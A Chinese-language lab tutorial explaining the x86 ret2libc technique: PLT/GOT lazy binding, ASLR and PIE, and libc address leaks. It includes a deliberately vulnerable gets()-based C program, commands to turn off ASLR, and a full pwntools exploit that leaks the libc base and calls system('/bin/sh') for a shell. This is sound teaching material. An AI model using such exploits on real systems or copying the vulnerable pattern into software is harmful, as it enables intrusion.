ROP-Ret2Libc-x86

ROP-Ret2Libc-x86

0x01 前置知识

ret2libc

原理:

ret2libc 即控制函数执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

libc:

libc是Linux下的C的函数库。libc中包含着各种常用的函数,在程序执行时才被加载到内存中。libc一定可执行,跳转到libc中的函数可绕过NX保护。

函数库:

函数库是由系统建立的具有一定功能的函数的集合。库中存放函数的名称和对应的目标代码,以及连接过程中所需的重定位信息。

库函数:

存放在函数库中的函数。库函数具有明确的功能、入口调用参数和返回值。

动态链接:

动态链接的基本思想是把程序按照模块拆分成各个相对独立部分,在程序运行时才将它们链接在一起形成一个完整的程序,而不是像静态链接一样把所有程序模块都链接成一个单独的可执行文件。

Linux 延迟绑定机制:

动态链接的程序调用了libc的库函数,但是libc在运行才被加载到内存中,
调用libc函数时,才解析出函数在内存中的地址。

Linux 延迟绑定机制的实现:

  1. 所有程序调用的libc函数都有对应的PLT表和GOT表,其位置固定
  2. PLT表:①调用函数call puts@plt ②PLT表中存放着指令: jmp [ puts_ got ]
  3. GOT表:解析函数真实地址放入GOT表中存储

延迟绑定机制的实现:

plt表:

Procedure Linkage Table,过程连接表(内部函数表),是由代码片段组成的,每个代码片段都跳转到GOT表中的一个具体的函数调用。

got表:

Global Offset Table,全局偏移表(全局函数表),是一个存储外部库函数的表。

下面用两张图来解释下函数调用过程中延迟绑定机制(以下内容来源于:https://www.jianshu.com/p/0ac63c3744dd ):

函数第一次被调用过程:

plt_got1

第一步由函数调用跳入到PLT表中,然后第二步PLT表跳到GOT表中,可以看到第三步由GOT表回跳到PLT表中,这时候进行压栈,把代表函数的ID压栈,接着第四步跳转到公共的PLT表项中,第5步进入到GOT表中,然后_dl_runtime_resolve对动态函数进行地址解析和重定位,第七步把动态函数真实的地址写入到GOT表项中,然后执行函数并返回。

dynamic段:提供动态链接的信息,例如动态链接中各个表的位置

link_map:已加载库的链表,由动态库函数的地址构成的链表

_dl_runtime_resolve:在第一次运行时进行地址解析和重定位工作

函数之后的被调用过程:

plt_got2

可以看到,第一步还是由函数调用跳入到PLT表,但是第二步跳入到GOT表中时,由于这个时候该表项已经是动态函数的真实地址了,所以可以直接执行然后返回。对于动态函数的调用,第一次要经过地址解析和回写到GOT表项中,第二次直接调用即可。

延迟绑定对我们意味着什么?

got表:

  1. 一个绝佳的攻击目标
  2. 包含libc函数真实地址,用于泄露地址
  3. 覆盖新地址到got表,劫持函数流程

plt表:

  1. 不用知道libc函数真实地址,使用plt地址即可调用函数

libc函数在哪?被随机化了。

ASLR地址随机化

系统开启 /proc/sys/kernel/randomize_va_space
0表示关闭ASLR
1表示保留的随机化,共享库、栈、mmapO以及VDSO随机化
2表示完全的随机化 在1的基础上,通过 brk() 分配的内存空间也将被随机化。

查询 randomize_va_space 当前设置:

sysctl -n kernel.randomize_va_space
或
cat /proc/sys/kernel/randomize_va_space

关闭ASLR:

sysctl -w kernel.randomize_va_space=0
或
echo 0 > /proc/sys/kernel/randomize_va_space

为了避免ASLR和PIE弄混,这里简单记录下ASLR和PIE的区别(来源于网络):

 首先,ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。

其次,ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。

最后,ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。

PIE叫做代码部分地址无关,PIE能使程序像共享库一样在主存任何位置装载,这需要将程序编译成位置无关,并链接为ELF共享对象。

如果不开启PIE的话,那么每次ELF文件加载的地址都是相同的。如果开启PIE,那么每次都会不同。

开启ASLR+PIE的一个直接的困扰就是,你会发现没有地方可以写,所有的got表、plt表、bss段地址都是不确定的。只有通过泄漏才可以确定地址。

总结: ASLR(on process)、PIE(on executable)

泄露libc函数地址的条件:

  1. 程序有输出函数:例如puts/printf/write;
    实现:设置好参数为某函数GOT表地址
    (GOT表中保存已调用过的函数的真实地址);
    例如:puts_ plt(puts_ got)

  2. 栈缓冲区溢出的基础上,寻找以ret结尾的代码片段,
    实现:设置参数、持续控制的目的;
    例如:构造执行write(1,buf2,20),之后再返回main函数,如图所示:

    write

如何使用ret2libc:

思路:

  1. 绕过NX保护 -> ret2libc -> ASLR -> 泄露libc地址
  2. ASLR导致ret2libc的技术常常需要配合一个泄露的操作
  3. ret2libc = leak(泄露)libc地址 + system(/bin/sh)

简单的说:

  1. 泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址
  2. 获取libc的版本:https://libc.blukat.me/ 或LibcSearcher (https://github.com/lieanu/LibcSearcher)
  3. 根据偏移获取shell和sh的位置:1.求libc基地址(函数动态地址-函数偏移量)2.求其他函数地址(基地址+函数偏移量)
  4. 执行程序获取shell

libc中的函数相对于libc的基地址的偏移都是确定的,如果有一道题给你了libc的文件,就可以通过libc文件泄露出system函数和bin/sh的地址,然后再构造payload。

最后再复习下32位系统调用:

  1. 想办法调用execve(“/bin/sh”,null,null)
  2. 传入字符串/bin///sh
  3. 系统调用execve
    eax = 11
    ebx = bin_sh_addr(参数一)
    ecx = 0(参数二)
    edx = 0(参数三)
    int 0x80

0x02 实验环境

ubuntu 16.04

0x03 实验

首先,简单分析下程序流程,这里因为是实验,直接给出源码(实际比赛中一般不会有源码的,到时候可以用ida等查看):

#include<stdio.h>
char buf2[10] = "ret2libc is good";
void vul()
{
    char buf[10];
    gets(buf);
}
void main()
{
    write(1,"hello",5);
    vul();
}

可以看到程序存在栈溢出,这里将程序编译一下:

gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c

之后老规矩checksec查看下保护情况:

checksec

发现有NX保护,这里使用ROP进行绕过,现在的关键在于如何获取system和/bin/sh的地址,所以先使用objdump查看下system的plt地址:

objdump -d -j .plt ./ret2libc1_32 |grep system

objdump

可以看到并没有。然后使用ROPgadget查找/bin/sh的地址:

ROPgadget --binary ./ret2libc1_32 --string "bin/sh"

ROPgadget

发现没有/bin/sh,这里只能自己构造出这个字符串了。

这里我们先明确下目标和思路:

system函数属于libc,而 libc . so 动态链接库中的函数之间相对偏移是固定的。

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

思路:

1、泄露ret2libc1_32任意一个函数的位置

2、获取libc的版本

3、根据偏移获取shell和sh的位置

4、执行程序获取shell

下面使用ldd命令列出动态库依赖关系:

ldd

可以看到libc在/lib32/libc.so.6中,接着直接gdb进行调试,先计算一下偏移:

cyclic

可以看到偏移为22。

这里简单复习下write函数:

write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。

开始编写exp:

from pwn import*

context(arch = 'i386',os = 'linux',log_level = 'debug')

p = process('./ret2libc1_32')

e = ELF('./ret2libc1_32')              # 获取elf文件信息

write_plt_addr = e.plt['write']        # 通过elf获取write函数在plt表中的地址

gets_got_addr = e.got['gets']          # 通过elf获取gets函数在got表中的地址

vul_addr = e.symbols['vul']            # 通过elf获取vul函数的地址

offset = 22

payload1= 'a'*offset + p32(write_plt_addr) + p32(vul_addr) + p32(1) + p32(gets_got_addr) \
+ p32(4)                               # 覆盖返回值为write函数地址 + 预留返回地址(vul函数) +  write函数三个参数(构造write函数参数为要泄露的地址也就是gets函数的地址)

p.sendlineafter('hello',payload1)      # 接收到hello后发送payload1

gets_addr = u32(p.recv())              # 接收gets函数的地址,接收的时候需要解包

libc = ELF('/lib32/libc.so.6')         # 获取libc文件信息

libc_base = gets_addr - libc.symbols['gets'] # libc基地址 = 泄露的gets函数地址 - gets函数在libc中的偏移

system_addr = libc_base + libc.symbols['system'] # system地址 = libc基地址 + system函数在libc中的偏移

bin_sh_addr = libc_base + libc.search('/bin/sh').next() # bin/sh地址 = libc基地址 + libc中/bin/sh的偏移

payload2 = 'a'*offset + p32(system_addr) + p32(0x0000000) + p32(bin_sh_addr) # 覆盖返回地址为system的地址 + 预留返回地址(这里随便填)+ system的参数

p.sendline(payload2)                 # 发送第二个payload

p.interactive()

最后运行一下exp,发现成功getshell:

getshell